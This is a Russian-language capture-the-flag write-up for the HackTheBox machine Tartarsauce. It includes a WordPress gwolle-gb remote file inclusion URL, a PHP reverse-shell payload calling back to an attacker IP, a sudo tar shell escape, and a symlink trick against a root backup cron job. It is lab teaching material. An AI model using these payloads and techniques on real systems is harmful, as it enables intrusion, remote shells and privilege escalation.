---
# System prepended metadata

title: Отчет по заданию Tartarsauce (HTB)

---

# Отчет по заданию Tartarsauce (HTB)

**HTB Profile**: https://app.hackthebox.com/profile/activity/906355

**IP**: 10.10.10.88
**Domain**: tartarsauce.htb
*добавим в /etc/hosts*

### Перечисление
Используем nmap для перечисления портов
```bash=
nmap -sS -T5 -n -Pn 10.10.10.88
```

Используем ffuf для фаззинга директорий веб-приложения
```bash=
ffuf -w .../SecLists/.../.../dirs.txt:VAR -u http://10.10.10.88/VAR -c 
```

*(Про свои изыскания с monstra умалчиваю, т.к. вектор оказался тупиковый)*

Находим http://10.10.10.88/webservices/wp/

Определяем что это wordpress (хотя и на глаз видно)
```bash=
whatweb http://10.10.10.88/webservices/wp/
```

### Скан

Вектора для получения получения первичного доступа через WP:
1. Брутфорс админки
2. Уязвимые плагины
3. Уязвимые темы
4. Бекапы, доступные извне
5. Креды, спрятанные где-то на страницах сайта

Начнем с перечисления всех плагинов, тем и пользователей
```=
wpscan --url http://tartarsauce.htb/webservices/wp/ -e p,t,u --plugins-detection aggressive --detection-mode aggressive
```

Находим устаревший плагин gwolle-gb
```=
[+] gwolle-gb
 | Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2022-05-12T09:58:00.000Z
 | Readme: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 4.2.2
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
```
Который, согласно exploit-db может в RFI
```=
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
```

### Первичный доступ
Попытаемся подсунуть свой php с нагрузкой

Создаем файл system.php с reverse shell нагрузкой
```=
<?php
$sock=fsockopen("10.10.14.8",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
```

Поднимаем reverse_shell_tcp listener, используя MSF (для удобства)

Поднимаем на своей машине http-сервер, используя python
```=
python3 -m http.server 8080
```

Переходим по ссылке
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.8/system.php

В логах http-сервера наблюдаем, что Wordpress пытается забрать файл wp-load.php
```=
10.10.10.88 - - [02/Sep/2022 14:45:02] "GET /system.phpwp-load.php HTTP/1.0" 200 -

```
Меняем название system.php на wp-load.php

Переходим по ссылке
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.8/

**DONE!** Сессия получена
Апгрейдим до meterpreter
```=
msf> sessions -u 1
```

### Горизонтальное продвижение

Первое что смотрим
```=
sudo -l
```
И сразу удача
```=
(onuma) NOPASSWD: /bin/tar
```

Вспоминаем про https://gtfobins.github.io/gtfobins/tar/
```=
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

**Успех!** мы - onuma, пользовательский флаг у нас


### Повышение привилегий

Воспользовавшись linpeas.sh находим странный архив /var/backups/onuma-www-dev.bak

Причем файл обновляется раз в 5 минут (+/-) - какой-то cron, не иначе

Чтобы отловить нужно смотреть запускаемые процессы, используем pspy, доставляем на машину через http-server python. 

```=
./pspy32
```

Видим странный процесс, запущенный от рута, /bin/bash /usr/sbin/backuperer, после которого и создаются архивы

Изучим backuperer

Видим, что:
1. архивируется директория /var/www/html
2. архив кладется в /var/tmp/.(какой-то хеш)
3. процесс засыпает на 30 секунд
4. далее распаковывает архив в директорию /var/tmp/check
5. используя diff выявляется разница между только что разархивированными данными и данными в папке /var/www/html


Далее, нам нужно поймать момент запуска backuperer и выполнить следующие действия, пока процесс спит.

1. Разархивируем архив из /var/tmp/.(какой-то хеш)
2. Удаляем любой файл из распакованного архива и заменяем его на ссылку на рутовый флаг, например, ln -s /root/root.txt ./tmpbackup/var/www/html/robots.txt
3. Архивируем всё обратно
4. Ждем пока процесс проснется и выполнит diff
5. Чекаем файл с ошибками diff'а, находим рутовый флаг (т.к при сравнении с /var/www/html будет разница между архивами, которую diff нам и отобразит в лог)

**Done!**